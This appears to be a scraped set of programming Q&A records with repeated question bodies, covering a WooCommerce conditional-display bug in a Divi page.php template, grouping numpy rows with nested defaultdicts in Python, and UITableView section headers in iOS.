 <?php echo do_shortcode('[et_pb_section global_module="247"][/et_pb_section]'); ?>
 <?php endif; ?>
</code>```

Here is the entire page.php code:

```<code><?php

get_header();

$is_page_builder_used = et_pb_is_pagebuilder_used( get_the_ID() );
?>
<?php if ( ! (function_exists('is_cart') && is_cart()) || ( ! function_exists('is_account_page') && is_account_page()) || ( ! function_exists('is_checkout') && is_checkout() ) ) : ?>
 <?php echo do_shortcode('[et_pb_section global_module="218"][/et_pb_section]'); ?>
 <?php endif; ?>

    <div id="main-content">

<?php if ( ! $is_page_builder_used ) : ?>

    <div class="container">
        <div id="content-area" class="clearfix">
            <div id="left-area">

<?php endif; ?>

            <?php while ( have_posts() ) : the_post(); ?>

                <article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>

                <?php if ( ! $is_page_builder_used ) : ?>

                    <h1 class="entry-title main_title"><?php the_title(); ?></h1>
                <?php
                    $thumb = '';

                    $width = (int) apply_filters( 'et_pb_index_blog_image_width', 1080 );

                    $height = (int) apply_filters( 'et_pb_index_blog_image_height', 675 );
                    $classtext = 'et_featured_image';
                    $titletext = get_the_title();
                    $thumbnail = get_thumbnail( $width, $height, $classtext, $titletext, $titletext, false, 'Blogimage' );
                    $thumb = $thumbnail["thumb"];

                    if ( 'on' === et_get_option( 'divi_page_thumbnails', 'false' ) && '' !== $thumb )
                        print_thumbnail( $thumb, $thumbnail["use_timthumb"], $titletext, $width, $height );
                ?>

                <?php endif; ?>

                    <div class="entry-content">
                    <?php
                        the_content();

                        if ( ! $is_page_builder_used )
                            wp_link_pages( array( 'before' => '<div class="page-links">' . esc_html__( 'Pages:', 'Divi' ), 'after' => '</div>' ) );
                    ?>
                    </div> <!-- .entry-content -->

                <?php
                    if ( ! $is_page_builder_used && comments_open() && 'on' === et_get_option( 'divi_show_pagescomments', 'false' ) ) comments_template( '', true );
                ?>

                </article> <!-- .et_pb_post -->

            <?php endwhile; ?>

<?php if ( ! $is_page_builder_used ) : ?>

            </div> <!-- #left-area -->

            <?php get_sidebar(); ?>
        </div> <!-- #content-area -->
    </div> <!-- .container -->

<?php endif; ?>
<?php if ( ! (function_exists('is_cart') && is_cart()) || ( ! function_exists('is_account_page') && is_account_page()) || ( ! function_exists('is_checkout') && is_checkout() ) ) : ?>
 <?php echo do_shortcode('[et_pb_section global_module="247"][/et_pb_section]'); ?>
 <?php endif; ?>
</div> <!-- #main-content -->

<?php get_footer(); ?>
</code>```

答:
If I understand well, you would like to output this shortcode content only in cart, checkout and account  WooCommerce pages

Then you should better try this shorter way:

```<code><?php
    if ( class_exists( 'WooCommerce' ) && ( is_cart() || is_account_page() || is_checkout() ) ) :
        echo do_shortcode('[et_pb_section global_module="247"][/et_pb_section]');
    endif;
?>
</code>```

Using class_exists( 'WooCommerce' ) will ensure that woocommerce plugin is loaded and that the conditional tags will work properly…

Body:
I'm having an issue with is_cart(), is_checkout(), is_account_page() functions.

What I'm trying to do:

if it's the Cart page, then echo this shortcode.

if it's NOT the Cart page, then do nothing.

This needs to happen at the top of the page and at the bottom, both outside of the page's container.

When I view the cart, checkout, account pages, it works flawlessly. But as soon as I view any other page that is not the cart/checkout/account page, the shortcode still shows!

The site is using the Divi theme (by ElegantThemes) with WooCommerce.
Here is are the snippets I'm working with:

<?php if ( ! (function_exists('is_cart') && is_cart()) || ( ! function_exists('is_account_page') && is_account_page()) || ( ! function_exists('is_checkout') && is_checkout() ) ) : ?>
 <?php echo do_shortcode('[et_pb_section global_module="218"][/et_pb_section]'); ?>
 <?php endif; ?>

<?php endif; ?>
<?php if ( ! (function_exists('is_cart') && is_cart()) || ( ! function_exists('is_account_page') && is_account_page()) || ( ! function_exists('is_checkout') && is_checkout() ) ) : ?>
 <?php echo do_shortcode('[et_pb_section global_module="247"][/et_pb_section]'); ?>
 <?php endif; ?>

Here is the entire page.php code:

<?php

get_header();

$is_page_builder_used = et_pb_is_pagebuilder_used( get_the_ID() );
?>
<?php if ( ! (function_exists('is_cart') && is_cart()) || ( ! function_exists('is_account_page') && is_account_page()) || ( ! function_exists('is_checkout') && is_checkout() ) ) : ?>
 <?php echo do_shortcode('[et_pb_section global_module="218"][/et_pb_section]'); ?>
 <?php endif; ?>

<?php if ( ! $is_page_builder_used ) : ?>

<?php endif; ?>

            <?php while ( have_posts() ) : the_post(); ?>

                <article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>

                <?php if ( ! $is_page_builder_used ) : ?>

<?php the_title(); ?>

                <?php
                    $thumb = '';

                    $width = (int) apply_filters( 'et_pb_index_blog_image_width', 1080 );

                    $height = (int) apply_filters( 'et_pb_index_blog_image_height', 675 );
                    $classtext = 'et_featured_image';
                    $titletext = get_the_title();
                    $thumbnail = get_thumbnail( $width, $height, $classtext, $titletext, $titletext, false, 'Blogimage' );
                    $thumb = $thumbnail["thumb"];

                    if ( 'on' === et_get_option( 'divi_page_thumbnails', 'false' ) && '' !== $thumb )
                        print_thumbnail( $thumb, $thumbnail["use_timthumb"], $titletext, $width, $height );
                ?>

                <?php endif; ?>

                    <?php
                        the_content();

                        if ( ! $is_page_builder_used )
                            wp_link_pages( array( 'before' => '
' . esc_html__( 'Pages:', 'Divi' ), 'after' => '
' ) );
                    ?>

                <?php
                    if ( ! $is_page_builder_used && comments_open() && 'on' === et_get_option( 'divi_show_pagescomments', 'false' ) ) comments_template( '', true );
                ?>

            <?php endwhile; ?>

<?php if ( ! $is_page_builder_used ) : ?>

            <?php get_sidebar(); ?>

<?php endif; ?>
<?php if ( ! (function_exists('is_cart') && is_cart()) || ( ! function_exists('is_account_page') && is_account_page()) || ( ! function_exists('is_checkout') && is_checkout() ) ) : ?>
 <?php echo do_shortcode('[et_pb_section global_module="247"][/et_pb_section]'); ?>
 <?php endif; ?>

<?php get_footer(); ?>

Body:
If I understand well, you would like to output this shortcode content only in cart, checkout and account  WooCommerce pages

Then you should better try this shorter way:

<?php
    if ( class_exists( 'WooCommerce' ) && ( is_cart() || is_account_page() || is_checkout() ) ) :
        echo do_shortcode('[et_pb_section global_module="247"][/et_pb_section]');
    endif;
?>

Using class_exists( 'WooCommerce' ) will ensure that woocommerce plugin is loaded and that the conditional tags will work properly…


问:
Using dictionary to store data (array) in multiple key groups
I am trying to store arrays in multiple key groups to generate group-wise summaries. I thought dict of dicts may be a solution. Based on this answer, I tried to make a dict of dict. Here is the code

```<code>import numpy
from collections import defaultdict

s1 = numpy.array([[1L, 'B', 4],
       [1L, 'A', 3],
       [1L, 'B', 10],
       [1L, 'A', 0.0],
       [2L, 'A', 11],
       [2L, 'B', 13],
       [2L, 'B', 1],
       [2L, 'A', 6]], dtype=object)

def make_dict():
    return defaultdict(make_dict)

d = defaultdict(make_dict)

for x in s1:
    d[x[0]][x[1]] = x[2]
</code>```

So, d[1]['B'] gives 10 while I was expecting [4,10]. Looks like d is picking up the last combination. Is there a way to append all the values that fit a particular key combination? I thought defaultdict should take care of this. Where am I going wrong? Is there any other solution to this? I can easily do it in pandas and I love the library. But I am requiring an non-pandas solution.

Update
The question was answered (@juanpa.arrivillaga ) but looks like my example data was inadequate. How about if we had the following as data?

```<code>s1 = numpy.array([
        [1L, 'B', 4,3],
        [1L, 'A', 3,5],
        [1L, 'B', 10,23],
        [2L, 'A', 11,1],
        [2L, 'B', 1,8],
        [2L, 'A', 6,23]
        ], dtype=object)
</code>```

We may not be able to use defaultdict(lambda:defaultdict(list)) as the dictionary container. How to extend the solution to include and append 2D-array instead of list. I expect d[1]['A'] should give me [[3,5],[11,1]]

答:
If you are already using numpy - which, you really shouldn't for heterogeneous data-types, you should just use pandas:

```<code>In [8]: data = [[1, 'B', 4],
   ...:        [1, 'A', 3],
   ...:        [1, 'B', 10],
   ...:        [1, 'A', 0.0],
   ...:        [2, 'A', 11],
   ...:        [2, 'B', 13],
   ...:        [2, 'B', 1],
   ...:        [2, 'A', 6]]
In [9]: import pandas as pd

In [10]: df = pd.DataFrame(data, columns=['c1','c2','c3'])

In [11]: df
Out[11]:
   c1 c2    c3
0   1  B   4.0
1   1  A   3.0
2   1  B  10.0
3   1  A   0.0
4   2  A  11.0
5   2  B  13.0
6   2  B   1.0
7   2  A   6.0

In [12]: df.groupby(['c1','c2']).describe()
Out[12]:
         c3
      count mean       std  min   25%  50%    75%   max
c1 c2
1  A    2.0  1.5  2.121320  0.0  0.75  1.5   2.25   3.0
   B    2.0  7.0  4.242641  4.0  5.50  7.0   8.50  10.0
2  A    2.0  8.5  3.535534  6.0  7.25  8.5   9.75  11.0
   B    2.0  7.0  8.485281  1.0  4.00  7.0  10.00  13.0
</code>```

If you must do this without pandas:

```<code>In [13]: from collections import defaultdict

In [14]: grouper = defaultdict(lambda:defaultdict(list))

In [15]: for c1,c2,c3 in data:
    ...:     grouper[c1][c2].append(c3)
    ...:

In [16]: grouper
Out[16]:
defaultdict(<function __main__.<lambda>>,
            {1: defaultdict(list, {'A': [3, 0.0], 'B': [4, 10]}),
             2: defaultdict(list, {'A': [11, 6], 'B': [13, 1]})})
In [17]: grouper[1]['B']
Out[17]: [4, 10]
</code>```

If you are always going to be grouping on the first two columns, just do something like the following:

```<code>In [6]: grouper = defaultdict(lambda:defaultdict(list))

In [7]: for c1, c2, *rest in s1:
   ...:     grouper[c1][c2].append(rest)
   ...:

In [8]: grouper
Out[8]:
defaultdict(<function __main__.<lambda>>,
            {1: defaultdict(list, {'A': [[3, 5]], 'B': [[4, 3], [10, 23]]}),
             2: defaultdict(list, {'A': [[11, 1], [6, 23]], 'B': [[1, 8]]})})

In [9]: grouper[1]['A']
Out[9]: [[3, 5]]

In [10]: grouper[1]['B']
Out[10]: [[4, 3], [10, 23]]

In [11]: grouper[2]['B']
Out[11]: [[1, 8]]

In [12]: grouper[2]['A']
Out[12]: [[11, 1], [6, 23]]
</code>```

For Python 2, you will have to modify a little bit, since it lacks support for iterable unpacking:

```<code>In [8]: for arr in s1:
   ...:     c1, c2 = arr[:2]
   ...:     rest = list(arr[2:])
   ...:     grouper[c1][c2].append(rest)
   ...:

In [9]: grouper
Out[9]:
defaultdict(<function __main__.<lambda>>,
            {1L: defaultdict(list, {'A': [[3, 5]], 'B': [[4, 3], [10, 23]]}),
             2L: defaultdict(list, {'A': [[11, 1], [6, 23]], 'B': [[1, 8]]})})
</code>```

Body:
I am trying to store arrays in multiple key groups to generate group-wise summaries. I thought dict of dicts may be a solution. Based on this answer, I tried to make a dict of dict. Here is the code

import numpy
from collections import defaultdict

s1 = numpy.array([[1L, 'B', 4],
       [1L, 'A', 3],
       [1L, 'B', 10],
       [1L, 'A', 0.0],
       [2L, 'A', 11],
       [2L, 'B', 13],
       [2L, 'B', 1],
       [2L, 'A', 6]], dtype=object)

def make_dict():
    return defaultdict(make_dict)

d = defaultdict(make_dict)

for x in s1:
    d[x[0]][x[1]] = x[2]

So, d[1]['B'] gives 10 while I was expecting [4,10]. Looks like d is picking up the last combination. Is there a way to append all the values that fit a particular key combination? I thought defaultdict should take care of this. Where am I going wrong? Is there any other solution to this? I can easily do it in pandas and I love the library. But I am requiring an non-pandas solution.

Update
The question was answered (@juanpa.arrivillaga ) but looks like my example data was inadequate. How about if we had the following as data?

s1 = numpy.array([
        [1L, 'B', 4,3],
        [1L, 'A', 3,5],
        [1L, 'B', 10,23],
        [2L, 'A', 11,1],
        [2L, 'B', 1,8],
        [2L, 'A', 6,23]
        ], dtype=object)

We may not be able to use defaultdict(lambda:defaultdict(list)) as the dictionary container. How to extend the solution to include and append 2D-array instead of list. I expect d[1]['A'] should give me [[3,5],[11,1]]

Body:
If you are already using numpy - which, you really shouldn't for heterogeneous data-types, you should just use pandas:

In [8]: data = [[1, 'B', 4],
   ...:        [1, 'A', 3],
   ...:        [1, 'B', 10],
   ...:        [1, 'A', 0.0],
   ...:        [2, 'A', 11],
   ...:        [2, 'B', 13],
   ...:        [2, 'B', 1],
   ...:        [2, 'A', 6]]
In [9]: import pandas as pd

In [10]: df = pd.DataFrame(data, columns=['c1','c2','c3'])

In [11]: df
Out[11]:
   c1 c2    c3
0   1  B   4.0
1   1  A   3.0
2   1  B  10.0
3   1  A   0.0
4   2  A  11.0
5   2  B  13.0
6   2  B   1.0
7   2  A   6.0

In [12]: df.groupby(['c1','c2']).describe()
Out[12]:
         c3
      count mean       std  min   25%  50%    75%   max
c1 c2
1  A    2.0  1.5  2.121320  0.0  0.75  1.5   2.25   3.0
   B    2.0  7.0  4.242641  4.0  5.50  7.0   8.50  10.0
2  A    2.0  8.5  3.535534  6.0  7.25  8.5   9.75  11.0
   B    2.0  7.0  8.485281  1.0  4.00  7.0  10.00  13.0

If you must do this without pandas:

In [13]: from collections import defaultdict

In [14]: grouper = defaultdict(lambda:defaultdict(list))

In [15]: for c1,c2,c3 in data:
    ...:     grouper[c1][c2].append(c3)
    ...:

In [16]: grouper
Out[16]:
defaultdict(<function __main__.<lambda>>,
            {1: defaultdict(list, {'A': [3, 0.0], 'B': [4, 10]}),
             2: defaultdict(list, {'A': [11, 6], 'B': [13, 1]})})
In [17]: grouper[1]['B']
Out[17]: [4, 10]

If you are always going to be grouping on the first two columns, just do something like the following:

In [6]: grouper = defaultdict(lambda:defaultdict(list))

In [7]: for c1, c2, *rest in s1:
   ...:     grouper[c1][c2].append(rest)
   ...:

In [8]: grouper
Out[8]:
defaultdict(<function __main__.<lambda>>,
            {1: defaultdict(list, {'A': [[3, 5]], 'B': [[4, 3], [10, 23]]}),
             2: defaultdict(list, {'A': [[11, 1], [6, 23]], 'B': [[1, 8]]})})

In [9]: grouper[1]['A']
Out[9]: [[3, 5]]

In [10]: grouper[1]['B']
Out[10]: [[4, 3], [10, 23]]

In [11]: grouper[2]['B']
Out[11]: [[1, 8]]

In [12]: grouper[2]['A']
Out[12]: [[11, 1], [6, 23]]

For Python 2, you will have to modify a little bit, since it lacks support for iterable unpacking:

In [8]: for arr in s1:
   ...:     c1, c2 = arr[:2]
   ...:     rest = list(arr[2:])
   ...:     grouper[c1][c2].append(rest)
   ...:

In [9]: grouper
Out[9]:
defaultdict(<function __main__.<lambda>>,
            {1L: defaultdict(list, {'A': [[3, 5]], 'B': [[4, 3], [10, 23]]}),
             2L: defaultdict(list, {'A': [[11, 1], [6, 23]], 'B': [[1, 8]]})})


问:
Custom UITableViewCell multiple sections
As i am newbie to this development, i am requesting  you to give a fast reply for my below requirement.

My iPhone application is: Requesting data from web page(with php) and showing it in my table. This table contains  multiple lines of information: imageView, 3 rows(user name, category, no.of views) in one column, and user email id in next column..

To get this type of tableView, i used custom UITableViewCell reference,NSURLConnection methods, loaded content(multiple records) in the table at-a-time and everything works fine.

But, i would like to change in this design as:

(i) I want to show my tableView with multiple sections..based on category-wise(which is dynamic-not fixed no.of values).

(ii) I want to make category name as section title..

I am hitting my head to get this type of functionality in my app from one week. I referred apple documentation & googled web.but, i was unable to find any resource to match my requirement..

Is this possible?.If you any one of you tried this, kindly suggest me how to proceed further..

Waiting for your valuable response..

Ramya.

答:
(i) - (NSInteger)numberOfSectionsInTableView:(UITableView *)tableView

(ii) - (NSString *)tableView:(UITableView *)tableView titleForHeaderInSection:(NSInteger)section